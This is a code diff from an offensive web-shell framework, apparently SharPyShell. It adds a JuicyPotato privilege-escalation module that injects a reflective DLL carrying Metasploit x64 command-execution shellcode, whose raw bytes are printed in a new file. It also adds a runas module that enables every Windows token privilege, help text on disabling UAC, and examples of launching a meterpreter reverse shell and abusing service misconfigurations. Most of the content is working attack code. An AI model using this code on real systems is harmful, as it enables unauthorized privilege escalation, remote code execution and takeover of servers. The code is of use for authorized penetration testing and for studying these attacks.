pinfo.Arguments = arguments + " " + cmd_path + " -a \" " + cmd_path + " /c " + cmd + "\"";
pinfo.RedirectStandardOutput = true;
pinfo.RedirectStandardError = true;
pinfo.UseShellExecute = false;
@@ -84,20 +100,29 @@ class Privesc_juicy_potato(Module):
}
"""
__default_custom_args = ' -t * -l ' + str(random.randint(10000, 65000)) + ' -p '
__default_exec_type = 'reflective_dll'
__default_clsid = '{4991d34b-80a1-4291-83b6-3328366b9097}'
__default_custom_shellcode_path = 'default'
def __init__(self, password, channel_enc_mode, module_settings, request_object):
Module.__init__(self, password, channel_enc_mode, module_settings, request_object)
self.upload_module_object = Upload(password, channel_enc_mode, module_settings, request_object)
self.exec_cmd_module_object = Exec_cmd(password, channel_enc_mode, module_settings, request_object)
self.inject_dll_reflective_module_object = Inject_dll_reflective(password, channel_enc_mode,
module_settings, request_object)
def __parse_run_args(self, args):
if len(args) < 1:
raise self._exception_class('#privesc_juicy_potato : Not enough arguments.1 Argument required. \n')
args_parser = {k: v for k, v in enumerate(args)}
cmd = args_parser.get(0)
custom_args = args_parser.get(1, self.__default_custom_args)
return cmd, custom_args
exec_type = args_parser.get(1, self.__default_exec_type)
self.__random_listening_port = str(random.randint(10000, 65000))
clsid = args_parser.get(2, self.__default_clsid)
arguments = ' -t * -l %s -c %s -p '
arguments = arguments % (self.__random_listening_port, clsid)
custom_shellcode_path = args_parser.get(3, self.__default_custom_shellcode_path )
return cmd, exec_type, arguments, custom_shellcode_path, clsid
def __lookup_binary(self):
if 'JuicyPotato.exe' in self._module_settings.keys():
@@ -112,21 +137,65 @@ class Privesc_juicy_potato(Module):
bin_path = remote_upload_path
return bin_path
def _create_request(self, args):
exe_path, custom_args, cmd = args
def __run_exe_version(self, cmd, arguments):
exe_path = self.__lookup_binary()
working_path = self._module_settings['working_directory']
return self._runtime_code % (exe_path, custom_args, cmd, working_path)
request = self._runtime_code % (exe_path, arguments, cmd, working_path)
encrypted_request = self._encrypt_request(request)
encrypted_response = self._post_request(encrypted_request)
decrypted_response = self._decrypt_response(encrypted_response)
parsed_response = self._parse_response(decrypted_response)
return parsed_response
def __run_reflective_dll_version(self, cmd, custom_shellcode_path, logfile, clsid):
LogFile = logfile
remote_process = 'notepad.exe'
CLSID = clsid
ListeningPort = self.__random_listening_port
RpcServerHost = '127.0.0.1'
RpcServerPort = '135'
ListeningAddress = '127.0.0.1'
if custom_shellcode_path == 'default':
shellcode_bytes = shellcode.winexec_x64 + 'cmd /c "' + cmd + '"\00'
thread_timeout = '60000'
else:
thread_timeout = '0'
with open(custom_shellcode_path, 'rb') as file_handle:
shellcode_bytes = file_handle.read()
configuration = LogFile + '\00'
configuration += remote_process + '\00'
configuration += CLSID + '\00'
configuration += ListeningPort + '\00'
configuration += RpcServerHost + '\00'
configuration += RpcServerPort + '\00'
configuration += ListeningAddress + '\00'
configuration += str(len(shellcode_bytes)) + '\00'
configuration += shellcode_bytes
configuration_bytes_csharp = '{' + ",".join('0x{:02x}'.format(x) for x in bytearray(configuration)) + '}'
response = self.inject_dll_reflective_module_object.run(['juicypotato_reflective.dll', 'remote_virtual',
'cmd.exe', thread_timeout, configuration_bytes_csharp])
parsed_response = self._parse_response(response)
return parsed_response
def _create_request(self, args):
exe_path, arguments, cmd = args
working_path = self._module_settings['working_directory']
return self._runtime_code % (exe_path, arguments, cmd, working_path)
def run(self, args):
try:
cmd, custom_args = self.__parse_run_args(args)
upload_path = self.__lookup_binary()
request = self._create_request([upload_path, custom_args, cmd])
encrypted_request = self._encrypt_request(request)
encrypted_response = self._post_request(encrypted_request)
decrypted_response = self._decrypt_response(encrypted_response)
parsed_response = self._parse_response(decrypted_response)
parsed_response = '\n\n\nModule executed correctly:\n' + parsed_response
cmd, exec_type, arguments, custom_shellcode_path, clsid = self.__parse_run_args(args)
if exec_type == 'exe':
response = self.__run_exe_version(cmd, arguments)
else:
logfile = self._module_settings['env_directory'] + '\\' + random_generator()
print '\n\nInjecting Reflective DLL into remote process...'
response = self.__run_reflective_dll_version(cmd, custom_shellcode_path, logfile, clsid)
response += '\nReflective DLL injection executed!\n\n'
if custom_shellcode_path == 'default':
response += '\nOutput of juicy potato:\n\n'
response += self.exec_cmd_module_object.run(['type ' + logfile + ' & del /f /q ' + logfile])
parsed_response = self._parse_response(response)
except ModuleException as module_exc:
parsed_response = str(module_exc)
except Exception:
+9 -7
View File
@@ -12,6 +12,10 @@ class Privesc_powerup(Module):
_exception_class = PrivescPowerupModuleException
short_help = "Run Powerup module to assess all misconfiguration for privesc"
complete_help = r"""
Author: @PowerShellMafia
Link: https://github.com/PowerShellMafia/PowerSploit/blob/dev/Privesc/PowerUp.ps1
This module run the Powerup.ps1 script in order to find all possible misconfiguration that can
lead to a privilege escalation.
The output of this module will be just informative, no automatic privesc exploitation will be performed.
@@ -19,9 +23,7 @@ class Privesc_powerup(Module):
a user to runas this module.
If no users are provided this module will run under the application pool running user.
Source Code:
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
Usage:
#privesc_powerup [username] [password] [domain] [custom_command]
@@ -30,7 +32,7 @@ class Privesc_powerup(Module):
password password of the user to runas the process
domain domain of the user to runas the process
custom_command the command to run within the module
Default: ';Invoke-AllChecks'
Default: ';Invoke-PrivescAudit -Format List'
Examples:
Run powerup as the current user
@@ -39,15 +41,15 @@ class Privesc_powerup(Module):
#privesc_powerup 'user1' 'password1'
Run powerup as a specific domain user
#privesc_powerup 'user1' 'password1' 'domain'
Run powerup with a custom command, i.e. save report as html
#privesc_powerup '' '' '' ';Invoke-AllChecks -HTMLReport'
Run powerup with a custom command, i.e. abusing a service misconfiguration
#privesc_powerup '' '' '' ';Invoke-ServiceAbuse -Name "VulnSvc"'
"""
__default_username = ''
__default_password = ''
__default_domain = ''
__default_custom_command = ';Invoke-AllChecks'
__default_custom_command = ';Invoke-PrivescAudit -Format List'
def __init__(self, password, channel_enc_mode, module_settings, request_object):
Module.__init__(self, password, channel_enc_mode, module_settings, request_object)
File diff suppressed because one or more lines are too long
+2169 -1190
View File
File diff suppressed because one or more lines are too long
Binary file not shown.
Binary file not shown.
+206 -115
View File
@@ -16,7 +16,11 @@ class Runas(Module):
The calling process will wait until the end of the execution of the spawned process.
The two processes will communicate through 2 pipeline files (1 for stdout and 1 for stderr).
The default logon type is 3 (Network_Logon).
If you set Interactive (2) logon type you will face some restriction problems.
If you set Interactive (2) logon type you will face some UAC restriction problems.
You can make interactive login without restrictions by setting the following regkey to 0 and restart the server:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA
If you need to spawn a background or async process, i.e. spawning a reverse shell, set the argument
'process_timeout_ms' to 0.
@@ -42,6 +46,8 @@ class Runas(Module):
#runas whoami user1 password1
Run a command as a specific domain user
#runas whoami user1 password1 domain
Run a command as a specific local user with logon type 2
#runas whoami user1 password1 '' 60000 2
Run a background/async process as a specific local user, i.e. meterpreter ps1 reverse shell
#runas 'powershell -nop -noni -enc base64reverse_shell' 'user1' 'password1' '' '0'
Run a background/async process as a specific domain user, i.e. meterpreter ps1 reverse shell
@@ -55,7 +61,96 @@ class Runas(Module):
public class SharPyShell
{
public sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid
private const string error_string = "{{{SharPyShellError}}}";
private const int LOGON32_PROVIDER_DEFAULT = 0;
private const int LOGON32_PROVIDER_WINNT35 = 1;
private const int LOGON32_PROVIDER_WINNT40 = 2;
private const int LOGON32_PROVIDER_WINNT50 = 3;
private const uint GENERIC_ALL = 0x10000000;
private const int SecurityImpersonation = 2;
private const int TokenType = 1;
private const uint SE_PRIVILEGE_ENABLED = 0x00000002;
private const uint WAIT_ABANDONED = 0x00000080;
private const uint WAIT_OBJECT_0 = 0x00000000;
private const uint WAIT_TIMEOUT = 0x00000102;
[StructLayout(LayoutKind.Sequential)] private struct STARTUPINFO
{
public int cb;
public String lpReserved;
public String lpDesktop;
public String lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)] private struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential)] private struct SECURITY_ATTRIBUTES
{
public int Length;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}
[StructLayout(LayoutKind.Sequential)]
private struct LUID
{
public int LowPart;
public int HighPart;
}
[StructLayout(LayoutKind.Sequential)]
private struct TOKEN_PRIVILEGES
{
public UInt32 PrivilegeCount;
public LUID Luid;
public UInt32 Attributes;
}
[DllImport("kernel32.dll", EntryPoint="CloseHandle", SetLastError=true, CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]
private static extern bool CloseHandle(IntPtr handle);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
private static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken);
[DllImport("advapi32.dll", EntryPoint="CreateProcessAsUser", SetLastError=true, CharSet=CharSet.Ansi, CallingConvention=CallingConvention.StdCall)]
private static extern bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("advapi32.dll", EntryPoint="DuplicateTokenEx")]
private static extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle);
[DllImport("kernel32.dll", SetLastError=true)]
private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool AdjustTokenPrivileges(IntPtr tokenhandle, bool disableprivs, [MarshalAs(UnmanagedType.Struct)]ref TOKEN_PRIVILEGES Newstate, int bufferlength, int PreivousState, int Returnlength);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern int LookupPrivilegeValue(string lpsystemname, string lpname, [MarshalAs(UnmanagedType.Struct)] ref LUID lpLuid);
private sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid
{
private SafeTokenHandle()
: base(true)
@@ -73,75 +168,72 @@ class Runas(Module):
return CloseHandle(handle);
}
}
[StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO
{
public int cb;
public String lpReserved;
public String lpDesktop;
public String lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
private string EnablePrivilege(string privilege, IntPtr token){
string output = "";
LUID serLuid = new LUID();
LUID sebLuid = new LUID();
TOKEN_PRIVILEGES tokenp = new TOKEN_PRIVILEGES();
tokenp.PrivilegeCount = 1;
LookupPrivilegeValue(null, privilege, ref sebLuid);
tokenp.Luid = sebLuid;
tokenp.Attributes = SE_PRIVILEGE_ENABLED;
if(!AdjustTokenPrivileges(token, false, ref tokenp, 0, 0, 0)){
output += error_string + "\nAdjustTokenPrivileges on privilege " + privilege + " failed with error code: " + Marshal.GetLastWin32Error();
}
output += "\nAdjustTokenPrivileges on privilege " + privilege + " succeeded";
return output;
}
[StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION
private string EnableAllPrivileges(IntPtr token)
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
string output="";
output += EnablePrivilege("SeAssignPrimaryTokenPrivilege", token);
output += EnablePrivilege("SeAuditPrivilege", token);
output += EnablePrivilege("SeBackupPrivilege", token);
output += EnablePrivilege("SeChangeNotifyPrivilege", token);
output += EnablePrivilege("SeCreateGlobalPrivilege", token);
output += EnablePrivilege("SeCreatePagefilePrivilege", token);
output += EnablePrivilege("SeCreatePermanentPrivilege", token);
output += EnablePrivilege("SeCreateSymbolicLinkPrivilege", token);
output += EnablePrivilege("SeCreateTokenPrivilege", token);
output += EnablePrivilege("SeDebugPrivilege", token);
output += EnablePrivilege("SeDelegateSessionUserImpersonatePrivilege", token);
output += EnablePrivilege("SeEnableDelegationPrivilege", token);
output += EnablePrivilege("SeImpersonatePrivilege", token);
output += EnablePrivilege("SeIncreaseBasePriorityPrivilege", token);
output += EnablePrivilege("SeIncreaseQuotaPrivilege", token);
output += EnablePrivilege("SeIncreaseWorkingSetPrivilege", token);
output += EnablePrivilege("SeLoadDriverPrivilege", token);
output += EnablePrivilege("SeLockMemoryPrivilege", token);
output += EnablePrivilege("SeMachineAccountPrivilege", token);
output += EnablePrivilege("SeManageVolumePrivilege", token);
output += EnablePrivilege("SeProfileSingleProcessPrivilege", token);
output += EnablePrivilege("SeRelabelPrivilege", token);
output += EnablePrivilege("SeRemoteShutdownPrivilege", token);
output += EnablePrivilege("SeRestorePrivilege", token);
output += EnablePrivilege("SeSecurityPrivilege", token);
output += EnablePrivilege("SeShutdownPrivilege", token);
output += EnablePrivilege("SeSyncAgentPrivilege", token);
output += EnablePrivilege("SeSystemEnvironmentPrivilege", token);
output += EnablePrivilege("SeSystemProfilePrivilege", token);
output += EnablePrivilege("SeSystemtimePrivilege", token);
output += EnablePrivilege("SeTakeOwnershipPrivilege", token);
output += EnablePrivilege("SeTcbPrivilege", token);
output += EnablePrivilege("SeTimeZonePrivilege", token);
output += EnablePrivilege("SeTrustedCredManAccessPrivilege", token);
output += EnablePrivilege("SeUndockPrivilege", token);
output += EnablePrivilege("SeUnsolicitedInputPrivilege", token);
return output;
}
[StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES
{
public int Length;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}
[DllImport("kernel32.dll", EntryPoint="CloseHandle", SetLastError=true, CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]
public static extern bool CloseHandle(IntPtr handle);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken);
[DllImport("advapi32.dll", EntryPoint="CreateProcessAsUser", SetLastError=true, CharSet=CharSet.Ansi, CallingConvention=CallingConvention.StdCall)]
public static extern bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("advapi32.dll", EntryPoint="DuplicateTokenEx")]
public static extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
const uint WAIT_ABANDONED = 0x00000080;
const uint WAIT_OBJECT_0 = 0x00000000;
const uint WAIT_TIMEOUT = 0x00000102;
[PermissionSetAttribute(SecurityAction.Demand, Name = "FullTrust")]
public string RunAs(string userName, string password, string domainName, string cmd, string stdout_file, string stderr_file, string working_directory, int logon_type, uint process_ms_timeout)
[PermissionSetAttribute(SecurityAction.Demand, Name = "FullTrust")]
private string RunAs(string userName, string password, string domainName, string cmd, string stdout_file, string stderr_file, string working_directory, int logon_type, uint process_ms_timeout)
{
SafeTokenHandle safeTokenHandle;
string output = "";
string error_string = "{{{SharPyShellError}}}";
try
{
const int LOGON32_PROVIDER_DEFAULT = 0;
const int LOGON32_PROVIDER_WINNT35 = 1;
const int LOGON32_PROVIDER_WINNT40 = 2;
const int LOGON32_PROVIDER_WINNT50 = 3;
bool returnValue = LogonUser(userName, domainName, password, logon_type, LOGON32_PROVIDER_DEFAULT, out safeTokenHandle);
if (false == returnValue)
{
@@ -150,67 +242,66 @@ class Runas(Module):
}
using (safeTokenHandle)
{
using (WindowsIdentity newId = new WindowsIdentity(safeTokenHandle.DangerousGetHandle()))
IntPtr runasToken = safeTokenHandle.DangerousGetHandle();
EnableAllPrivileges(runasToken);
string commandLinePath = "";
if(process_ms_timeout>0){
File.Create(stdout_file).Dispose();
File.Create(stderr_file).Dispose();
commandLinePath = Environment.GetEnvironmentVariable("ComSpec") + " /c \"" + cmd + "\" >> " + stdout_file + " 2>>" + stderr_file;
}
else{
commandLinePath = Environment.GetEnvironmentVariable("ComSpec") + " /c \"" + cmd + "\"";
}
using (WindowsImpersonationContext impersonatedUser = WindowsIdentity.Impersonate(runasToken))
{
using (WindowsImpersonationContext impersonatedUser = newId.Impersonate())
{
IntPtr Token = new IntPtr(0);
IntPtr DupedToken = new IntPtr(0);
bool ret;
SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
sa.bInheritHandle = false;
sa.Length = Marshal.SizeOf(sa);
sa.lpSecurityDescriptor = (IntPtr)0;
Token = WindowsIdentity.GetCurrent().Token;
const uint GENERIC_ALL = 0x10000000;
const int SecurityImpersonation = 2;
const int TokenType = 1;
ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupedToken);
if (ret == false){
output += error_string + "\nDuplicateTokenEx failed with " + Marshal.GetLastWin32Error();
return output;
}
STARTUPINFO si = new STARTUPINFO();
si.cb = Marshal.SizeOf(si);
si.lpDesktop = "";
string commandLinePath = "";
IntPtr Token = new IntPtr(0);
IntPtr DupedToken = new IntPtr(0);
bool ret;
SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
sa.bInheritHandle = false;
sa.Length = Marshal.SizeOf(sa);
sa.lpSecurityDescriptor = (IntPtr)0;
Token = WindowsIdentity.GetCurrent().Token;
ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupedToken);
if (ret == false){
output += error_string + "\nDuplicateTokenEx failed with " + Marshal.GetLastWin32Error();
return output;
}
STARTUPINFO si = new STARTUPINFO();
si.cb = Marshal.SizeOf(si);
si.lpDesktop = "";
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
ret = CreateProcessAsUser(DupedToken,null,commandLinePath, ref sa, ref sa, false, 0, (IntPtr)0, working_directory, ref si, out pi);
if (ret == false){
output += error_string + "\nCreateProcessAsUser failed with " + Marshal.GetLastWin32Error();
return output;
}
else{
if(process_ms_timeout>0){
File.Create(stdout_file).Dispose();
File.Create(stderr_file).Dispose();
commandLinePath = Environment.GetEnvironmentVariable("ComSpec") + " /c \"" + cmd + "\" >> " + stdout_file + " 2>>" + stderr_file;
}
else{
commandLinePath = Environment.GetEnvironmentVariable("ComSpec") + " /c \"" + cmd + "\"";
}
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
ret = CreateProcessAsUser(DupedToken,null,commandLinePath, ref sa, ref sa, false, 0, (IntPtr)0, working_directory, ref si, out pi);
if (ret == false){
output += error_string + "\nCreateProcessAsUser failed with " + Marshal.GetLastWin32Error();
return output;
}
else{
if(process_ms_timeout>0){
uint wait_for = WaitForSingleObject(pi.hProcess, process_ms_timeout);
if(wait_for == WAIT_OBJECT_0){
output += File.ReadAllText(stdout_file);
string errors = File.ReadAllText(stderr_file);
if (!String.IsNullOrEmpty(errors))
output += error_string + "\n" + errors;
}
else{
output += error_string + "\nProcess with pid " + pi.dwProcessId + " couldn't end correctly. Error Code: " + Marshal.GetLastWin32Error();
}
File.Delete(stdout_file);
File.Delete(stderr_file);
uint wait_for = WaitForSingleObject(pi.hProcess, process_ms_timeout);
if(wait_for == WAIT_OBJECT_0){
output += File.ReadAllText(stdout_file);
string errors = File.ReadAllText(stderr_file);
if (!String.IsNullOrEmpty(errors))
output += error_string + "\n" + errors;
}
else{
output += "\nAsync process with pid " + pi.dwProcessId + " created";
output += error_string + "\nProcess with pid " + pi.dwProcessId + " couldn't end correctly. Error Code: " + Marshal.GetLastWin32Error();
}
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
File.Delete(stdout_file);
File.Delete(stderr_file);
}
CloseHandle(DupedToken);
else{
output += "\nAsync process with pid " + pi.dwProcessId + " created";
}
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
CloseHandle(DupedToken);
}
}
}
+5 -4
View File
@@ -1,5 +1,6 @@
urllib3
urllib3[socks]
prettytable
Crypto
pyopenssl
PySocks
pycrypto
pyopenssl
pefile
prettytable
+17
View File
@@ -0,0 +1,17 @@
import StringIO
import gzip
import base64
def get_compressed_base64_from_file(path):
compressed_stream = StringIO.StringIO()
with gzip.GzipFile(fileobj=compressed_stream, mode="wb") as compressed, open(path, 'rb') as infile:
compressed.write(infile.read())
return base64.b64encode(compressed_stream.getvalue())
def get_compressed_base64_from_binary(bin_bytearray_input):
compressed_stream = StringIO.StringIO()
with gzip.GzipFile(fileobj=compressed_stream, mode="wb") as compressed:
compressed.write(str(bin_bytearray_input))
return base64.b64encode(compressed_stream.getvalue())
+33
View File
@@ -0,0 +1,33 @@
'''
https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/windows/x64/exec.rb
'Name' => 'Windows x64 Execute Command',
'Description' => 'Execute an arbitrary command (Windows x64)',
'Author' => [ 'sf' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X64,
'Payload' =>
'''
winexec_x64 = ""
winexec_x64 += "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
winexec_x64 += "\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
winexec_x64 += "\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
winexec_x64 += "\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
winexec_x64 += "\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
winexec_x64 += "\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
winexec_x64 += "\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
winexec_x64 += "\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
winexec_x64 += "\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
winexec_x64 += "\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
winexec_x64 += "\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
winexec_x64 += "\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
winexec_x64 += "\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
winexec_x64 += "\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
winexec_x64 += "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
winexec_x64 += "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
winexec_x64 += "\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
winexec_x64 += "\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"
winexec_x64 += "\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
winexec_x64 += "\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
winexec_x64 += "\x00\x59\x41\x89\xda\xff\xd5"